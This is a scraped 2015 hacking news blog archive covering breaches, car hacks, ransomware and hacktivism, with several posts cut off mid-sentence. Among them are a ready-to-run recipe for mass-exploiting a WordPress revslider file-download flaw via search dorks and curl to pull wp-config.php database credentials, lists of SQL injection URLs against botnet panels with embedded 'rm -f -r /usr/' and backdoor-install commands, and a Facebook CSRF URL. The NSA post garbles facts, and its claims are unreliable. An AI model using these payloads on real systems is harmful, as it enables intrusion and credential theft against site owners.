degtech: hacking

‏إظهار الرسائل ذات التسميات hacking. إظهار كافة الرسائل

الثلاثاء، 10 نوفمبر 2015

JPMorgan Hack — Three Men Charged in Biggest Bank Hack in History

The US government has charged hackers over the largest ever hacking case in financial history.

The US Court of the Southern District of New York has charged three men accused of hacking into many financial institutions, including JPMorgan Chase that, according to the officials, was "the largest theft of user data from a U.S. financial institution in history."

JPMorgan Chase is one of

الجمعة، 11 سبتمبر 2015

Lockpickers 3D-Printed Master Key for TSA Luggage Locks and BluePrint Leaked Online

Here're a good news and bad news for you. The good news is that if you lose the keys for your TSA-compliant "Travel Sentry" luggage locks then you can just 3D print your very own TSA master keys.

The bad news is that anyone can now 3D print their own master keys to open your bags.

Yes, the security of 300 Million TSA-approved Travel Sentry luggage locks has been compromised, and now

الثلاثاء، 28 يوليو 2015

Car Hack Uses Digital-Radio Broadcasts to Seize Control

Car Infotainment System Vulnerable to Hack Attack

According to a leading security company, most of the car infotainment systems tend to become vulnerable to a hack attack which could probably put many lives at risk. NCC Group had stated that the activity could be utilised in taking control of a vehicle’s brakes as well as the other critical systems.

BBC had been informed by the Manchester based company that it had generated a way of carrying out the attacks by sending data through digital audio broadcasting – DAB, radio signals. This coincides with news of a related flaw by two US researchers. Chris Valasek and Charlie Miller had shown Wired magazine how control is overtaken of a Jeep Cherokee car by sending data to its internet connected entertainment as well as navigation system through a mobile phone network.

Chrysler has also released a patch to address the problem but NCC’s work that has been limited to its lab indicated a broader issue. UK’s Society of Motor Manufacturers and Traders have replied stating that the car companies, `invest billions of pounds to keep vehicles secure as possible’.

Infotainment Systems Process DAB Data for Text & Pictures - Dashboard

Part of its technique had been demonstrated by NCC to BBC Radio 4’s PM programme at its office in Cheltenham. Andy Davis, the company’s research director had used relatively cheap off-the-shelf gears that were connected to a laptop and created a DAB station. Since infotainment systems process DAB data in displaying text and pictures on car dashboard screens, an attacker could send code which could enable them take over the system and once the infotainment has compromised, an attacker could possibly utilise it as a means of controlling more critical system which could include the steering as well as the braking.

Based on the power of the transmitter, Davis states that a DAB broadcast could enable attacker in affecting several cars at once. He further added that `as this is a broadcast medium and if there is vulnerability in a particular infotainment system in a specific manufacturer’s vehicle, on sending one stream of data, one could attack several cars at the same time. An assailant could perhaps even choose a common radio station in broadcasting over the top of, to ensure that they have reached the maximum number of target vehicles’

Modern Cars – Computer Networks on Wheel

Mr Davis had refrained from publicly identifying which of the specific infotainment system he had hacked at that point. Modern cars, in several ways are computer networks on wheel. Mike Parris of SBD, which is another company that concentrates in vehicle security, stated that modern cars usually comprises of 50 interlinked computers that run more than 50 million lines of code and that by contrast, Davis had commented that a modern airliner has around 14 million lines of code.

Such a kind of technology enables the latest cars to carry out automatic tactics, for instance, a driver could make the vehicleparkparallel at the touch of a button.He also said that he had faked his DAB based attack only on an equipment in his company’s buildings since it would have been illegal as well as unsafe in doing so in the outside world.

However he added that he had earlier compromised a real vehicle’s automatic braking system which had been designed in order to prevent it from crashing into the car before it, by modifying an infotainment system which he believed could have been duplicated through a DAB broadcast.

الخميس، 9 يوليو 2015

Hackers Unearth Major Security Flaw That Affects Adobe Flash Player

A major gaping hole is found in the popular Adobe Flash Player software used for watching videos online on a global scale. This flaw allows the attackers to take control of user’s system once they visit any malicious website.

Hackers Team which is known to create surveillance software for governmental agencies had stumbled upon this flaw when 400 GB of data was stolen from it over the weekend. Adobe had cleared all the speculations surrounding the emergence of this serious flaw and it had promised to make a fix available to all the users by Wednesday.

All You Need To Know About The Flaw In Flash Player

This serious flaw is present in the Adobe Flash Player 18.0.0.194 and its earlier versions, which were released for all the major OS like Windows, Mac and Linux. Adobe stresses on the fact that this flaw can be used to cause a sudden crash and act as a backdoor for the attackers to take control of affected system.

Hacking Team had described this bug as a fascinating bug, which had come to light in as many as four years of successful running of Flash player. The severity of this flaw is extremely high and some of the hackers are already utilizing it for a long time to create undue nuisance for the users with affected systems. The internal documents also stress on the point that it can be used as a weapon on mass scale to cause considerable loss of information and high-jacking of systems on a larger scale. Until a fix or security update is provided by the Adobe it will be wise to disable the Flash Player completely in the browsers to avoid further damages.

Hacking Teams Cautions Windows Users

The data released by the Hacking Team also reveals about vulnerability in the Adobe font drivers in Windows. The flaw in Flash Player has high severity rate in both 32 and 64 bits versions of Windows OS ranging from the order XP to latest 8.1. Windows computer is at greater risk of losing control to the hackers with the presence of this flaw. For successful taking control a hacker will have to rely on other vulnerability of font driver. Microsoft is quick to give heed on this situation and they are actively working on bringing a security fix for its users.

Hackers Are Already Exploiting This Flaw

Hackers Team got a wind of this flaw after a mysterious hacker going by the name PhineasFisher started exploiting this flaw. He had already created immense troubles for many companies being serviced by Hackers Team which includes even some governmental institutions.

The detailed report furnished by Hackers Team states that its RCS surveillance software possess capabilities for monitoring activities on Skype, Gmail, Facebook and Outlook.com along with cryptocurrencies transactions. This can be helpful for companies and its clients in keeping a keen eye upon its employees. However European parliament is seriously debating upon the legitimacy of any such software being used by a governmental organization to snoop upon its citizens.

الاثنين، 25 مايو 2015

NSA Planned To Hack Google Play

There is recently a news about the US National Security Agency trying to hack the Samsung App store named Google Play and this is possible being done so that spywares can be installed in the smart phones. Released on Thursday, this media record has brought out a tremendous upraise in the US. According to the many online news sites it is being revealed that the US security has been allied with the Britain, Canada, New Zealand and Australia which is namely known as the ‘five eyes’ alliance. This is being done as per a plan in which the surveillance on Smartphones is to be kept so that the percentage of crime due to the misuse of Smartphones can be controlled to a great extent.

Further details:

Actually this program of ‘five eyes’ is the upgraded form of the plan made by the intelligence bureau in the year 2011 and 2012 popularly known as the ‘irritant horn’. These plans have been collaborated and modified to this stage so that the NSA can actually hijack the data connections of each and every Smartphone and stealthily install the spyware in their phones so that the data exchange occurring in and out of the Smartphones can be operated properly.

The main advantage of this program is that this will help reducing the crime to a great extent. In the crime world, the main exchange f information is through the gadgets and these are mostly the Smartphones. Now while the spyware is running and any sort of misuse is detected then the two parties can be misinformed by the manipulation of the data so that the country can get saved from any sort of adversities that were being planned. These agencies actually were interested just in the Africa region namely Senegal, Sudan and Congo but later on also paid heed to the application servers of the France, Cuba, Morocco, Switzerland, Bahamas, Netherlands and Russia.

It was seen that during the planning of the program, the NSA was looking for a loophole through which they could actually hack. The chance came from a browser named UC browser that is actually a part of the Alibaba group, and from there on the intelligence bureau used the spyware on the 50 million people who used this browser to surf the net. Not only have that, through this hacking many terrorist locations can be detected with the help of SIM carded tracing.

Then again with the help of this program, it has been seen that the suspected terrorists have been caught up and invested and in this way the country will be saved from many terrorist attacks. Not only that these investigators are being totally fast paced to install spyware for the fact that more number of Smartphones can be brought under the surveillance.

Due to this hacking program, enough safety has been ensured and the commoners can do their data operations unhindered as because all the files and the data exchanges that are recorded are secured in an extremely confidential manner.

الاثنين، 20 أبريل 2015

Hackers Who Breached White House Network Allegedly Accessed Sensitive Data

Hackers Breached White House Network

According to recent story published by CNN, Russian government hackers have breached the White House’s computer systems late last year and have gained access to sensitive details though the US officials disagree with it. The officials had stated earlier, that in October, the White House breach had only affected an unclassified network, though sources informed CNN that the hackers had gained access to real time non-public details of the president’s schedule.

The sources also informed CNN that the hackers were the same ones who were behind a damaging cyber-attack on the US Department of State at the same time last year, which forced the department to close down its email system for an extended period of time. The connected cyber-attack on the State Department recently has been characterized as the worst hack on a federal agency. The White House is not unfamiliar to attacks from foreign spies.

The Chinese have been associated in many high profile attacks of White House unclassified systems together with employee emails. Reports of the breach came in as government official have become more concerned with regards to cyber threats from Russia. James Clapper, FBI director informed Senate committee in February that `the Russian cyber threat is more severe than they had earlier assessed’.

Immediate Measures to Evaluate/Mitigate Activity

Ben Rhodes, White House deputy national security adviser stated that the breached White House system had no sensitive data. He informed CNN that they had an unclassified system and a classified system, a top secret system. And that they do not believe that their classified systems were compromised.

A White House spokesperson who tried to restrain the report informed that it was based on a security breach which was already revealed to the public. Spokesperson, Mark Stroh, informed the media, that this report was not referred to a new incident and any such activity was something which was taken seriously and in this case, they had made it clear at that time and had taken immediate measures to evaluate and mitigate the activity.

He also informed that as officials did last year, the US would not comment on who could have been behind the attacks. Investigating the security breaches are the Secret Service, FBI and US Intelligent agencies which according to CNN sources say were the outcome of one of the most sophisticated cyber-attacks that was ever directed at US government agencies.

Theft of Private Data – Government/Corporation/Individuals

The recent report comes amid hacker thefts of private data related to governments, corporations as well as individuals, from sensitive emails to medical reports to financial information and possession of these data could tend to be of great importance to either enable criminal acts or assistance in government spying.

As per a senior department official, none of the department’s classified email system in the State Department breach was affected at that time though hackers used that breach to break into the White House’s network as reported by CNN.

The security researchers were under suspicion after the White House security breach was revealed in October, that hackers working for the Russian government were the cause of both the attacks according to the story of Washington Post and inspite of efforts beingmade by the State Department to safeguard its security, hackers were capable of accessing the system with the result that the network was owned for months by Russian hackers.

الاثنين، 23 مارس 2015

Gamers Targeted By Ransomware Virus

A computer virus has been targeting the gamers around the world. The virus has the ability to stop the gamers from playing out their favourite games unless they are ready to pay a ransom for the same. Once a machine gets infected by the virus, this cruel program has the ability to seek out the saved games and other important files on the user’s computer and go ahead with encrypting the data. Reports suggest that in order for a user or the gamer’s to unlock any of their encrypted files, they will have to be ready to pay nearly $500 (£340) in Bitcoins. This malware has the ability to target nearly 40 separate games which include World of Warcraft, Call of Duty, World of Tanks, and Minecraft.

Dark world of the web and cash:

This malicious program is very much similar to that off the widely distributed Cryptolocker Ransomware. It is the same Cryptolocker Ransomware which has been able to target thousands of people around the world in the last few years. However post the analysis of this malicious program called as Teslacrypt, it was revealed that it bears no resemblance or code share with Cryptolocker. Reports suggest that this program seems to have been created by a totally different cybercrime group.

According to the Vadim Kotov, a researcher from the security firm Bromium, the malicious file was targeting people by means of a website which has been already compromised by the creators. This site consists of a Wordpress blog that is unintentionally hosting a file that is making use of drawbacks in the Flash for infecting the potential visitors.

What happens when a machine gets infected?

According to Kotov, post the infection of the machine, this malware has the ability to check out nearly 185 different file extensions in the user’s system. This malware, particularly looks out for files which are linked with popular video games and online services. These games need not belong to the top listing games on the web. He further added that the Teslacrypt malware, has the ability to store the files of the gamers which includes their maps, profiles, and saved games. He also added that gamers will only end up being disappointed if they try to uninstall any game downloaded through any online service. He further added that it is not possible for the user to restore any of their required data post re-installing the game file as well.

So what happens next?

Once the user’s files have been targeted and encrypted by this malware, they will get a pop up message indicating that they have been targeted and they have only a few days to make the payment in order to retrieve their data. Reports suggest that the victim might end up paying between $500 to $1,000 Bitcoms in PaypalMy Cash payment cards. The Teslacrypt virus directs the potential victims to send their payment details to a designated address on the Tor anonymous browsing network. Although there are works in progress to crack the encryption system of the virus, user can resort to backups of the files in the meantime.

الجمعة، 6 مارس 2015

5 Simple Tips to Avoid Getting Scammed In 2015

Criminals and computer hackers in all over the world are active; they are working round the clock to steal your personal information as well as money. There is nothing which you can do, but with few simple precautions you can reduce the risk because life in digital age doesn’t come with undo button and your small mistake can crook your Social Security number.

Use credit cards for online shopping:

Protect your personal information:

hacker

Never download unknown attachment or click on suspicious links:

Fraudsters are ready to count on

Take your time:

Don’t be fooled by e-mails of free prize or free merchandise or money back guarantees:

How To Protecting Critical DNS Infrastructure Against Attack

How To Protecting Critical DNS Infrastructure Against Attack

DNS is a critical infrastructure of the Internet as every web transaction involves a DNS service provided by an ISP.

What is DNS DDOS Attack?
A DNS amplification attack is a reflection-based distributed denial of service (DDos) attack. Here attacker can sends a DNS lookup request by using the spoofed IP address to the vulnerable DNS servers. This is most popular attack in the history

This white paper outlines the recent DDoS attacks on DNS services and challenges of mitigating those attacks.

Learn how:

DNS DDoS attacks take advantage of weaknesses in the DNS protocol
Attackers launch a high bandwidth sophisticated attack on their victim
Attackers use amplification effect
Securing DNS service requires rethinking on perimeter security with dedicated tools to identify and mitigate these new breed of attacks on DNS services.

You can download this book as free offered by Radware Inc.

Download Now

الأربعاء، 25 فبراير 2015

Lenovo Website Is Still Under Construction After Hacked By Lizard Squad

Lenovo Website Is Still Under Construction After Hacked By Lizard Squad.

After the Superfish Malware incident, Lenovo official website is suffering from cyber attack by hacking group called Lizard Squad. It was revealed earlier this week that Lenovo had been pre-installing controversial 'Superfish' adware to its laptops which compromised the computer's encryption certificates to quietly include more ads on Google search.

“We’re breaking free! Soarin’, flyin’, there’s not a star in heaven that we can’t reach!,” Lizard Squad posted on its Twitter page, quoting the song from the movie “High School Musical”.

The hacker group also posted a couple of screenshots of an email between Lenovo employees regarding the “Superfish” software.

On Lenovo website, Company apologies to there visitors with message,

"The Lenovo Web site is currently unavailable but will return soon. To place or check on the status of an order or for any other enquiries, please contact a Lenovo representative during regular business hours."

What is Superfish Adware?
Last friday dozen of Lenovo Laptops are compromised by SSL Spoofing attacks. Where cyber attackers can read HTTPS web traffic to perform the attacks.

You can also do check whether you laptop is compromised by Superfish or not by https://filippo.io/Badfish/. If you see a "YES" then you might have a problem. And if the message output is ,"GOOD, Superfish is probably not intercepting your connections", then you are safe.

About Lenovo:
Lenovo Group Ltd. is a Chinese multinational computer technology company with headquarters in Beijing, China, and Morrisville, North Carolina, United States. Company revenue $38.70 billion at 2014.

الجمعة، 20 فبراير 2015

Nettool.sh - Automate frameworks For Nmap, Driftnet, Sslstrip, Metasploit And Ettercap MITM Attacks

Nettool.sh - Automate frameworks For Nmap, Driftnet, Sslstrip, Metasploit And Ettercap MITM Attacks.

Netool.sh toolkit provides a fast and easy way For new arrivals to IT security pentesting and also to experience users to use allmost all features that the Man-In-The-Middle can provide under local lan, since scanning, sniffing and Social engineering attacks "[spear phishing attacks]"...

Netool its a toolkit written using 'bash, python, ruby' that allows you to automate frameworks like Nmap, Driftnet, Sslstrip, Metasploit and Ettercap MitM attacks. This toolkit makes it easy tasks such as SNIFFING tcp/udp traffic, Man-In-The-Middle attacks, SSL-sniff, DNS-spoofing, DoS attacks in wan/lan networks, TCP/UDP packet manipulation using etter-filters, and gives you the ability to capture pictures of target webbrowser surfing (driftnet), also uses macchanger to decoy scans changing the mac address.

Operative Systems Supported are:
Linux-ubuntu, kali-linux, backtack-linux (un-continued), freeBSD, Mac osx (un-continued)

Rootsector module allows you to automate some attacks over DNS_SPOOF + MitM (phishing - social engineering) using metasploit, apache2 and ettercap frameworks. Like the generation of payloads, shellcode, backdoors delivered using dns_spoof and MitM method to redirect a target to your phishing webpage. recent as introducted the scanner inurlbr (by cleiton). This tool brought to you by: peterubuntu10

Video:

Download

الاثنين، 9 فبراير 2015

The Hactivist Group Anonymous Take Over Dozens Of ISIS Social Media Accounts

The Hactivist Group Anonymous Take Over Dozens Of ISIS Social Media Accounts.

The online "hacktivist" group Anonymous has just hit a massive blow against ISIS and destroyed its months of recruiting efforts. Yes, the Islamic State of Iraq and Syria (ISIS) — the radical Islamic terrorist group known for its haematic, terrible propaganda videos.

ISIS has a huge social media presence, with multiple Facebook, Twitter, YouTube and Instagram accounts. But, the Anonymous group recently took control of over dozens of Facebook and Twitter accounts used by ISIS recruiters to bring in new members.

Anonymous also released a video on Friday saying, "We are Muslims, Christians, Jews alike. We hackers, crackers, Hacktivist, phishers, agents, spies, or just the guy next door… students, administrators, workers, clerks, unemployed, rich, poor."

"We are young, or old, gay or straight… from all races, countries, religions, and ethnicity. United as one, divided by zero," and most important point made by the video is that the Anonymous believes that "the terrorists that are calling themselves [the] Islamic State (ISIS) are not Muslims."

The group further issued a warning to ISIS in its own statement, which is as follows:

"We will hunt you, take down your sites, accounts, emails, and expose you. From now on, no safe place for you online. You will be treated like a virus, and we are the cure. We own the internet. We are Anonymous; we are Legion; we do not forgive, we do not forget. Expect us."

The Anonymous group then said it made good on its pledge by launching cyber attacks and disabling several Twitter and Facebook accounts linked to ISIS which were used for recruiting purposes. Under the Twitter hashtag #OpISIS, Anonymous released a list of what it said were ISIS sites crippled by the cyber attack.

Some of ISIS Twitter accounts, that were taken offline by the online Hackivist group as part of #OpISIS are as follows:

Anonymous says the following Facebook accounts are in close contact with ISIS in Syria and Iraq. They advise us to “keep a close eye” on them.

According to Anonymous, it’s just the beginning of their operation and warned ISIS that there will be "more to come."

About the Author:

Swati Khandelwal - She is an Cyber Security Expert and Technical Writer at 'The Hacker News.

الاثنين، 2 فبراير 2015

Exploit - Several Botnet(s) Vulnerabilities

Exploit - Several Botnet(s) Vulnerabilities!

BotNets are Mainly Created by Great Scripters, but some of them really LACK on Security!
A recent report made to siph0n.in by abdilo and asterea (@4sterea) identified How Un-Secure the Most Recent Botnets are!

Let's give a look into it!

(1) BotNet is Vulnerable to Sh3ll Upload Vulnerability

iBanking
=============

Type: Shell Upload

Sh3ll: *(2)

(18) BotNets are VULNERABLE to SQL Injection:

Random panel
==========

Type: SQLi
Vuln: http://site.com/g.php?id=1

Athena
==========

Type: SQLi
Vuln: http://localhost:8992/panel/gate.php?botid=1&newbot=1&country=AUD&country_code=AUD &ip=10.0.0.1&os=win&cpu=amd&type=mate&cores=1999&version=88.8&net=wlan&admin=narwals&busy=no&lastseen=now

Casinoloader
==========

Type: SQLi
Vuln: http://localhost/gateway.php

POSTDATA page=1&val=1

Citadel
==========

Type: SQLi
Vuln: http://localhost/cp.php?bots=1

DLOADER
=============

Type: SQLi
Vuln1: http://localhost/includes/get_kktocc.php?line=1
Vuln2: http://localhost/includes/update_url.php?fid=1

HERPES
=============

SQL injection.

http://localhost/tasks.php POST: vote=1&submitted=1

JACKPOS
=============

blindsqli after you login, pretty useless so i wont bother.

JHTTP
=============

Some sqlinjection vulnerabilities past the assets folder.

SAKURA
=============

Type: SQLi

http://localhost/func.php?showtopic=2 http://localhost/index.php?showtopic=322 http://localhost/sakuraadmin44.php?filename=1.png&cmd=rm%20-f%20-r%20%2Fusr%2F&edit=2312 http://localhost/sakuraadmin44.php?filename=1.png&cmd=apt-get%20install%20backdoor http://localhost/sakuraadmin44.php?link=http%3A%2F%2Fmetasploit.com%2F&threads=10 http://localhost/showthread.php?t=123 http://localhost/showthread.php?t=23&cmd=32

Type: SQLi - POST

http://localhost/sakuraadmin44.php?threads=222&link=21213.com POST: exploits=992.ds http://localhost/sakuraadmin44.php?threads=11 POST: snick=123&file=321&exploits=123 http://localhost/sakuraadmin44.php?threads=21 POST: snick=1

SILENCE WINLOCKER V5.0
=================

SQL injection.

http://localhost/forma.php?pin=4322 http://localhost/index.php?x=1&act=delete&id=1 http://localhost/picture.php?pin=8787 http://localhost/tmp/get.php?pin=1334

SMOKE LOADER
=============

Type: SQLi

http://localhost/control.php?id=1 http://localhost/guest.php?id=1

POST

SOLARBOT
=============

SQL injection.

localhost/index.php POSTDATA i=1881&p=80&u=8302&h=282&s=AUD

SPY-EYE
=============

Type: SQLi

http://localhost/frm_boa-grabber_sub.php?dt=11%2F11%2F1998

TINBA
=============

Type: SQLi

\tinybanker panel\admin/control/logs.act.php http://localhost/logs.act.php Post Data: bot_uid=1&botcomment=mate

UMBRA
=============

Type: SQLi

Vuln: http://localhost/delete_command.php?deleteID=1

VERTEXNET
=============

There are sqlinjection vulnerabilities but the likely hood of you actually finding a way of exploiting them is low.

ZEUS AND ZEUS EVO
=============

Type: SQLi

Vuln: http://localhost/gate.php?ip=8.8.8.8

ZSKIMMER
=============

Type: SQLi

Vuln: http://localhost/process.php?xy=2

(3) BotNets are VULNERABLE to Cross-Site Scripting Vulnerability and Other Medium Issues:

CYTHOSIA BOTNET
=============

Type: Stored XSS and iFrame redirect

Click add task Command: IFRAME SRC="whateverekorlemonpartyorwhatnot.com" /IFRAME

Then Click Create Task Finally click Tasks. VOILA!

(Credits to asterea for finding this botnet panel)

CRIMEPACK 3.1.3
============

Secure shit, like no XSS's or anything.

PLASMA
=============

Some Cross site scripting vulns and nothing else so no use telling you about them.

Furthermore they have also identified (5) Secure Sh3lls :-)

Here you all can find the Secure Ones!

Alin1
==========

Nothing, unless logged in.

Betabot
==========

Nope.

CRIMEPACK 3.1.3
============

Secure shit, like no XSS's or anything.

SMSBOT
=============

nothing interesting.

SPY POSCARDSTEALER
=============

nope its secure.

------------------------------------------------------------------------------

If you all find any new Vulnerability, you can directly contact them below!

Contact: asterea@exploit.im

Twitter: 4sterea

------------------------------------------------------------------------------

(*)1 Source:

https://siph0n.in/exploits.php?id=3528

(*)2 iBanking Sh3ll:

http://pastebin.com/Dfczctfv

About the Author :
Christian Galeone is a Cyber Security Researcher from Italy, he's currently studying to ITCL Marco Polo ( Vocational Technical Institute | Vo-Tech ) attending the IT Programming Class.
He has been Acknowledged by the TOP 5 Companies including Yahoo!, Microsoft, AT&T, Sony etc. He is currently working with HOC as author of Cyber Security & Critical Tools Research Articles.

الجمعة، 23 يناير 2015

US Military Social-Media Accounts Hacked

According to the reports, a hacker group who is claiming to be with the terrorist group ISIS and call themselves as the “Recently, Cyber Caliphate, took the complete control over the operation of Centcom YouTube channel and Twitter account that represents the United States central military command. There was a Pastebin tweeted by the hackers titles as “Pentagon account hacked with a message that, American soldiers, we are coming, now its time when you should watch your back. #CyberCaliphate”. This message included links to what is suppose to be with some confidential US Army files.

However, according to sources, it has come to light that these files might have been made available to public previously, in other words, these files cannot be deemed highly confidential. These files might not be confidential but at the end of the day, it was the files of Centcom’s social accounts that were compromised. This clearly indicates the pathetic state of the cyber security in the United States government. And if the hackers are able to get their hands on some of the most confidential files then it clearly indicates that ISIS is a more dreadful cyber-opponent than anyone can expect.

According to the tweets of Politico reporter Hadas Gold at 9:46AM PST, Twitter is aware of the cyber attack on Centcom and taking necessary steps to work on the issue. According to the update at 10:05AM PST, Twitter was able to remove the cover image and the profile image from Centcom. This was followed by the suspension of the Centcom account at 10:10AM PST. At 10:15AM PST, there was an update posted indicating one of the defense officials has confirmed these attacks to Fusion reported Brett LoGiurato. Brett LoGiurato tweeted that, defense official have confirmed that the United States Central Command Twitter account has been compromised. At 10:35AM PST another update followed indicating that even YouTube has suspended the hacked account of Centcom from YouTube. Around 11:55AM PST, The Next Web’s Matt Navarra tweeted that there has been a request received from Pentagon pertaining to an account security issue and they are working on the issue to resolve it.

Before the accounts could be shut, the following tweets were released from the account:

1. Pentagon network hacked: Korean scenarios.
2. American soldiers, we are coming to you, now it’s time when you should watch your back.
3. We will not stop; we know everything about you, your wife, and your children.
4. ISIS is already here, we are in your computers, in each of your military base

While the US and its satellites kill our brothers and soldiers in Afghanistan, Syria and Iraq, then we broke into your networks and personal devices and know every information about you. The Cyber-Caliphate has also claimed to have taken control over the US media affiliates of CBS News and Fox in Tennessee. According to one of the Anonymous post left out in Pastebin, “In the name of Allah, the Most Gracious, the Most Merciful, the Cyber-Caliphate under the auspices of ISIS will continues with its Cyber-Jihad.

الأربعاء، 21 يناير 2015

Exploring Wordpress Theme Arbitrary File Download Vulnerability Exploits Available

Exploring Wordpress Theme Arbitrary File Download Vulnerability + SCANNER INURLBR / EXPLOIT INURL A.F.D Verification

Wordpress Theme U-Design Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/u-design/"
ACCESS: http://1337day.com/exploit/23143

-------------------------------------------------------------------------------------------

Wordpress Theme Terra Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/terra/"
ACCESS: http://1337day.com/exploit/23142

-------------------------------------------------------------------------------------------

Wordpress Theme Pindol Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/pindol/"
ACCESS: http://1337day.com/exploit/23144

-------------------------------------------------------------------------------------------

All themes above, are failing in the same revslider plugin.

POC:
http://[target]/[path]/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

[EXPLOIT]: Wordpress A.F.D Verification/ INURL - BRASIL

Exploit developed can check about 20 themes, and allows check standard as follows.

POC -> /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Which is the same as 0day mentioned above.

[Exploit ACCESS]
http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html
Please download the exploit and put the name of exploit.php

Now let's use the inurlbr scanner as a mass explorer
[SCANNER INURLBR]
https://github.com/googleinurl/SCANNER-INURLBR

Command use INURLBR:
Ex: php inurlbr.php --dork 'you dork' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/u-design/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/terra/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/pindol/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

Brief introduction --comand

--comand-vul Every vulnerable URL found will execute this command parameters.
Example: --comand-vul {command}
Usage: --comand-vul 'nmap sV -p 22,80,21 _TARGET_'
--comand-vul './exploit.sh _TARGET_ output.txt'

--comand-all Use this commmand to specify a single command to EVERY URL found.
Example: --comand-all {command}
Usage: --comand-all 'nmap sV -p 22,80,21 _TARGET_'
--comand-all './exploit.sh _TARGET_ output.txt'

Observation:
_TARGET_ will be replaced by the URL/target found, although if the user
doesn't input the get, only the domain will be executed.
_TARGETFULL_ will be replaced by the original URL / target found.

-------------------------------------------------------------------------------------------

INURLBR ADVANCED CONTROL

php inurlbr.php --dork 'YOU DORK revslider' -q 1,6 -s wordpress2.txt --exploit-get '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' -t 3 --exploit-comand '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' --comand-all 'echo "_TARGET__EXPLOIT_">> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"'

[TUTORIAL] - Wordpress A.F.D Verification/ INURL - BRASIL + SCANNER INURLBR

[TUTORIAL] - Hacking Panel Wordpress - Slider Revolution

[TUTORIAL] - Getting access to the Wordpress panel

Source: Inurl

الأحد، 11 يناير 2015

Facebook Vulnerability Allows to Video-Call Mark Zuckerberg!

Facebook Vulnerability Allows to Video-Call Mark Zuckerberg!

Have you ever desired to Video-Call the Founder of Facebook?
Well, with this Vulnerability it's still possible!.

The following used vulnerability allows with a GET (In-URI) CSRF Parameter to avoid the Video-Calling blocks into Mark Zuckerberg Privacy Setting's.

.First let me introduce what a CSRF Vulnerability IS:

"A Cross-Site Request Forgery (CSRF) Vulnerability is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user?s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated." (*)

Now, Let's start analyzing it!
First we start from this URL (like we are actually Video-Calling one of our Friends):

https://www.facebook.com/videocall/incall/

When we've identified the Vulnerable GET Parameter, we may apply it as below!

https://www.facebook.com/videocall/incall/?peer_id=

After the peer_id= parameter, we'll insert Mark Zuckerberg ID (which is id=4)

So, definitely, the Complete URL, will look like this below:

https://www.facebook.com/videocall/incall/?peer_id=4

Regarding this Bug, Facebook Security Team have not yet released a FIX, on the fact continuing to allow Attackers to use this flaw against the whole Social Community!.

Reference: OWASP CSRF Guide
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet

About the Author :
Christian Galeone is a Cyber Security Researcher from Italy, he's currently studying to ITCL Marco Polo ( Vocational Technical Institute | Vo-Tech ) attending the IT Programming Class.
He has been Acknowledged by the TOP 5 Companies including Yahoo!, Microsoft, AT&T, Sony etc. He is currently working with HOC as author of Cyber Security & Critical Tools Research Articles.

السبت، 10 يناير 2015

Facebook Bug - Open Redirection To Blocked Sites

Facebook Bug - Open Redirection To Blocked Sites

Link Shim Of Facebook (l.php)

A very good explanation for 'Link Shim' can be found here. It is a sweet note written by one of the security engineer at Facebook. In short, Facebook tries to protect their users by creating a list of harmless sites and harmful sites. So, sites which are malicious and are marked as `harmful` cannot be used on facebook.

eg. A user cannot post a link of a blocked site.

Try to post `http://ringcloud.com` on Facebook. You won't be allowed and a `warning` message will be displayed saying that `ringcloud.com` is blocked.

Send Dialog

Facebook introduced a 'Send Dialog' long time back. You can find details about it here. It was designed for sending private messages with `links` to one's friends, etc. It can be integrated on third party sites.

Have a look at this
https://www.facebook.com/dialog/send?app_id=145634995501895&link=http://www.pranavhivarekar.in/2014/10/hackerone-bug-redirect-filter-bypass.html&redirect_uri=https://www.google.com

The 'Send Dialog' accepts few parameters.
1. app_id (App needs to be created for using send dialog)
2. link (Link to be shared)
3. redirect_uri (Redirection to site mentioned here after sending message)

After pressing `Send` or `Cancel` user will be redirected to the site mentioned in `redirect_uri`.

Final Exploit

The values passed to `link` parameter were getting passed through 'Link Shim'. So, attacker is limited to share only those links which are present in `harmless` list of link shim.
eg. Attacker can share any link like `http://pranavhivarekar.in`.

Now, note other `redirect_uri` parameter. I observed that it was not passed through link shim. So. attacker can redirect victims to any site after sending message.
eg. Attacker can redirect users to any site like `http://pranavhivarekar.in`.

So, what is the bug here?
I checked `redirect_uri` parameter against `harmful` list of 'Link Shim' and was really amused and glad to see the redirection to `harmful` site.
eg. I entered `http://ringcloud.com` and after `Sending`message or pressing `Cancel` it redirected me to `http://ringcloud.com`

So, it proves that there were no access controls placed to protect users from redirection to `harmful` sites and it did violate the working of 'Link Shim'. So, this bug was accepted and rewarded by facebook.

Now, if you try to use this exploit then it will show error like this.
eg. Try this --->

https://www.facebook.com/dialog/send?app_id=145634995501895&link=http://www.pranavhivarekar.in&redirect_uri=https://ringcloud.com

It will show you error like.

This bug was rewarded as it affected other users of Facebook and for pointing exactly about the policy of 'Link Shim'.

About The Author:
You can stay in contact with me(Pranav Hivarekar) on Facebook and can follow me on Twitter. Also, you can check my blog (http://pranavhivarekar.in) for new findings.
Thanks for spending time to read this ...! Comments are welcome. :-)

الجمعة، 2 يناير 2015

Hacker Clones a Politician’s Fingerprint Using Normal, Long-Distance Public Photos

Something of this magnitude can’t expected to have happened in past couple of years but now, according to a member of the Chaos Computer Club, which is a European hacker association (on the similar lines of Cult of the Dead Cow in the united states of America) it is possible.

